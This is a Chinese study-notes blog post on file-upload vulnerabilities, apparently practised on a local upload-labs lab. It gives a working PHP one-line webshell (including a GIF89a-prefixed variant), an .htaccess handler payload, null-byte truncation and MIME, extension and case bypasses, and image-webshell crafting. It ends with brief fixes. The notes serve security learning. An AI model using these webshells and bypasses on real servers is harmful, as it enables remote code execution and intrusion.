3. 檔案上傳漏洞——漏洞總結筆記

HiddenD發表於2024-03-26

一、檔案上傳漏洞


  • 前提條件:
  1. 能上傳webshell (若僅讓上傳圖片,而又繞不過去,則不行)
  2. webshell路徑可知 (需要訪問目標, 不知道則訪問不了 )
  3. webshell 可以被訪問
  4. webshell可以被解析(即可以顯示頁面; 若返回頁面直接顯示程式碼,並沒有解析)

  • 判斷
  1. 確認是什麼過濾?
    上傳任意檔案,得到僅允許上傳jpg 等圖片檔案
  2. 上傳木馬圖片,jpg+一句話木馬檔案
    發現上傳錯誤----檢測了檔案內容
  3. 加GIF89a, 字尾為txt

1. 基礎操作


URL操作

執行webshell

url根目錄後:
?id=phpinfo();

id=system(whoami);

id=system(ipconfig);
......

檔案操作

基礎程式碼
<?php phpinfo(); ?>


2. webshell

說明

一種惡意指令碼 或網站後門

webshell分類

php/asp/jsp/木馬等
大馬/小馬/一句話木馬
打包馬/拖庫馬/記憶體馬


  • 一句話木馬

程式碼:
<?php @eval($_POST[' cmd']); ?>

解釋:

資料傳遞:post 透過post接收cmd這個引數值

資料執行: 原始碼:<?php @eval($_POST['cmd']); ?>
執行:cmd=phpinfo();
變為: <?php @eval(phpinfo();); ?>
等價post賦給cmd的值

3. 分類

  • post

post程式碼中有: @,用於隱藏資訊
post方式,不會被記錄,記錄了一般人也看不懂

操作
hackbar----開啟post-----body中寫kong=phpinfo(); ----執行----得到頁面返回結果


  • get

get程式碼中沒有@, 則直接顯示程式碼(如果加上@,則也不會顯示)
get方式會記錄入侵者的操作,所以一般不用get


4. 檢測檔案方式


  • 判斷c/s檢測

操作

方式1:上傳非法檔案,返回結果是否很快?(上傳非圖片檔案,立馬錯誤提示)

快---客戶端 ( 原因: 因為不需要將這個檔案傳送給伺服器 )
慢---服務端 (點選上傳,瀏覽器按鈕重新整理,原因: 傳送資料,服務端接收資料-返回響應-瀏覽器接收響應-重新整理頁面)

方式2: 重新整理按鈕
客戶端檢測,重新整理按鈕不會重新整理,
服務端檢測,重新整理按鈕會重新整理

方式3: bp抓包
客戶端: bp抓不到相應包
服務端: bp可以抓到


4.1 客戶端檢測


檢測方式

javascript檢測


繞過方式

  1. 手動禁用javascript 或使用 noscript外掛(不推薦)

操作:
檢查----三點(定製開發者工具及幫助)----設定----勾選禁用JavaScript-----點選上傳


案例:
網頁複製文字時----掃碼交錢-----可以禁用JavaScript----再次複製

  1. 刪除onsubmit 等相關元素程式碼

操作

上傳頁面----檢查----左上角箭頭----點選上傳位置的元素----檢視器:找到onsubmit(上傳按鈕)
找到檢視器中的return checkfile()----刪除-----回車-----上傳

上傳成功後, 複製影像連結----開啟url----右鍵檢查----hackbar----load----post data ---- cmd=phpinfo();-----返回頁面-----說明上傳成功

限制
只能使用一次,再次開啟return checkfile()函式又回來了

輔助檢視

右鍵頁面----檢視頁面原始碼-----查詢------script type="javascript/txt";
其中,checkfile 函式作用:判斷檔名;
file== "" 或 file==null 檔名為空,說明沒有上傳檔案


4.2 服務端檢測


判斷檢測了字尾還是內容

操作
上傳程式碼圖片( 內容為程式碼, 字尾為圖片字尾)

檔案能上傳: 僅檢查字尾
檔案不能上傳: 檢查了字尾和內容

  • other(邏輯)


mime型別檢測

mime型別繞過方式

操作
bp抓包, 修改第二個content-type引數為-----content-type: image/png-------修改完直接關閉攔截

隨意上傳檔案字尾,bp中抓包任意更改mime型別

hackbar執行相關檔案程式碼: cmd=phpinfo();


常見mime型別

.gif gif image/gif
.png image/png
.jpg image/jpeg mime型別為jpeg



檔案字尾檢測

判斷

操作:
上傳任意字尾檔案

成功:黑名單( 該檔案在黑名單中,所以可以上傳)
失敗:白名單(該檔案不在白名單中,所以不可上傳; 只允許上傳哪些東西)

黑名單檢測
  • 字尾大小寫繞過

前提: 僅僅使用Windows, 對大小寫不敏感; 訪問1.php 與 訪問1.PHP一樣
操作: bp中抓包,修改字尾為大寫, 成功上傳; 這時檔名會被伺服器修改,複製該檔名訪問

  • 字尾雙寫繞過

操作: bp中抓包,修改字尾. 例如: x.php 修改為 x.phphpp

  • 其它可解析字尾繞過

前提: 後端配置檔案httpd-conf中 配置了該字尾

後端配置: 後端疏忽操作(站在後臺維護角度)-----phpstudy----其他選項-----開啟配置檔案-----httpd.conf 檔案, 第403行加上該檔案字尾後,就可以上傳-----重啟服務

操作: 更改不同伺服器字尾為以下各種
PHP: php2、php3、php5、phtml、.pht(是否解析需要根據配置檔案中設定型別來決定)
ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf

  • 圖片+.htaccess配置檔案繞過

操作:
上傳 nn.png 與 .htaccess檔案; .htaccess檔案程式碼內容設定圖片名為: nn.png ,則上傳nn.png 檔案

檔案內容:
<FilesMatch "nn.png"> setHandler application/x-httpd-php </FilesMatch>

程式碼解釋: 
呼叫解析器去解析圖片nn.png

訪問物件:
nn.png (http://127.0.0.1/upload-labs-master/upload/nn.png) ,非.htaccess檔案

生效物件:
.htaccess該檔案上傳到某個目錄,就對這個目錄生效
httpd.conf檔案為apache伺服器整個網站的目錄

注意: .htaccess檔案(不能有檔名), 若有bp抓包修改


操作
bp抓包,修改後,訪問response中地址: http://127.0.0.1/upload-labs-master/upload/1.png
執行相關程式碼---- cmd=phpinfo();



白名單檢測

判斷

上傳一張圖片與上傳一個自己構造的字尾. 如果只能上傳圖片不能上傳其它字尾檔案,說明是白名單檢測

前提條件
php:php < 5.3.29且magic_quotes_gpc=off
java: jdk < JDK1.7.0_40

後臺管理員誤操作
後端誤設定伺服器版本: phpstudy------切換版本: 5.2.17
phpstudy----開啟配置檔案----php-ini
ctrl+F---- magic_quotes_gpc, 修改為: Off
儲存-----重啟


  • %00截斷繞過

操作

bp抓包,修改引數
將  save_path=../upload/
修改為  save_path=../upload/test.php%00

訪問: /upload/test.php ; ../upload/test.php/132023.png
執行: cmd=phpinfo(); -----成功

原理

%00(空格) 是一個url編碼, 當url中出現%00時就會認為讀取已結束
response後
複製路徑過來為: ../upload/test.php , test後有%00, 將後面內容刪除了


  • 0x00截斷繞過

操作

抓包-----
將   ../upload/
修改為   ../upload/cmd.php a ( 註釋:空格+a, 表示新增一個標記)

切換到
十六進位制HEX-----找到../upload/cmd.php a其中的空格,------ 將空格(16進製為20) 改為 00

原理

response中:   ../upload/ cmd.php空格a.... ,後面內容截斷,複製不了
訪問: /upload/cmd.php -----成功

系統在對檔名進行讀取時,如果遇到0x00,就會認為讀取已經結束。00是檔案的十六進位制內容裡的00,而不是檔名中的00


  • 檔案包含漏洞+圖片馬進行繞過

操作

上傳檔案-----複製影像連結-----開啟----複製檔名; 點選檔案包含漏洞
url中輸入: ?file=upload/6520231124134708.png
結果: 檔案太大,出現錯誤
蟻劍連線時url為: png的url----http://127.0.0.1/upload-labs-master/include.php?file=upload/6520231124134708.png



檔案內容檢測

判斷

操作
上傳成功後的圖片和上傳前的圖片大小,顏色和md5是否有變化?

有: 重新渲染
沒有: 僅讀取內容


  • 檔案幻數檢測

常見的圖片檔案幻數

png (16進位制) 檔案幻數: 89 50 4E 47 0D 0A 1A 0A
JPEG(jpg)   檔案幻數:  FF D8 FF E0 00 10 4A 46
GIF         檔案幻數:  47 49 46 38 39 61 0A 00

檢視圖片檔案的幻數

操作
bp抓包-----hex---檢視

利用hxd/010/Edjpgcom 等軟體,拖動檔案進來即可檢視

不同的檔案格式,如docx, png, zip等檔案幻數都不相同


新增檔案幻數

操作
php檔案中新增gif檔案幻數

程式碼如下
GIF89a<?php @eval($_POST[' cmd']);?>



  • 軟體/cmd 製作圖片馬

hxd64.exe

操作:
在Hxd工具右側中直接新增一句話木馬程式碼:
程式碼如下
<?php @eval($_POST['cmd']); ?>
或者修改hex中程式碼圖片幻數


Edjpgcom

條件:只能編輯jpg檔案
操作: 拖動圖片到Edjpgcom.exe圖示中開啟----右側hex為00 的地方,新增一句話木馬


010Editor.exe

操作: 拖動圖片到Edjpgcom.exe圖示中開啟----右右側hex為00 的地方,新增一句話木馬


cmd製圖片馬

cmd下執行(必須在有圖片和馬的目錄下):copy aaa.jpg/b + test.php/a shell.jpg

解釋:
/b 以二進位制方式開啟
/a 以ASCII方式開啟
生成shell.jpg檔案(包含aaa.jpg和test.php檔案內容),可以正常開啟
兩張圖片都可以正常開啟,而shell馬檔案會在最後加上一句話木馬


手工製作圖片馬

操作:在正常圖片中新增一句話木馬



  • 二次渲染

操作

上傳正常圖片----上傳後----右鍵-----將圖片另存為;
之後,開啟010 editor工具,在原始檔案中都為00部分插入webshell馬

原理

根據使用者上傳的圖片,新生成一個圖片. 將原始圖片刪除,將新圖片新增到特殊的資料庫中
例如: 網站根據使用者上傳的頭像生成大中小不同尺寸的影像



其他

  • 組合上傳

  • 檔案上傳: 前端驗證+mime+黑名單/檔案內容
  • 檔案包含+白名單


檔案上傳

  • 1.php惡意程式碼檔案 (php檔案馬)

可以直接進行利用, 只要伺服器有php解析器就能解析

  • 2.程式碼圖片 (php檔案幻數馬)

  • 3.帶馬正常圖片 (圖片馬)

必須要配合其他的漏洞進行利用

1 檔案包含漏洞解析
2 htaccess+1.jpg 解析
3 中介軟體+1.jpg解析
才能解析


二、其他基礎技巧

  • web日誌開啟

phptutorial\apache\logs\access.log

日誌內容解釋:
ip地址 訪問時間 請求方法 訪問的目錄 狀態碼 內容長度

  • 問題

php檔案可以上傳,但是有php檔案的一句話木馬上傳不了;
編輯在圖片裡面的一句話程式碼透過檔案包含漏洞執行裡面的PHP語句;

三、檔案上傳漏洞修復

1、 上傳的目錄設定為不可執行。只要web容器無法解析該目錄下面的檔案,即使攻擊者上傳了指令碼檔案,伺服器本身也不會受到影響,因此這一點至關重要。
2、 對檔案字尾的判斷中使用白名單的方式。
3、 檔案伺服器和web伺服器分離,也就是上傳的檔案單獨存放到其他的伺服器之中。
4、 不需要返回檔案路徑的情況下,隨機改寫檔名

待續.......

相關文章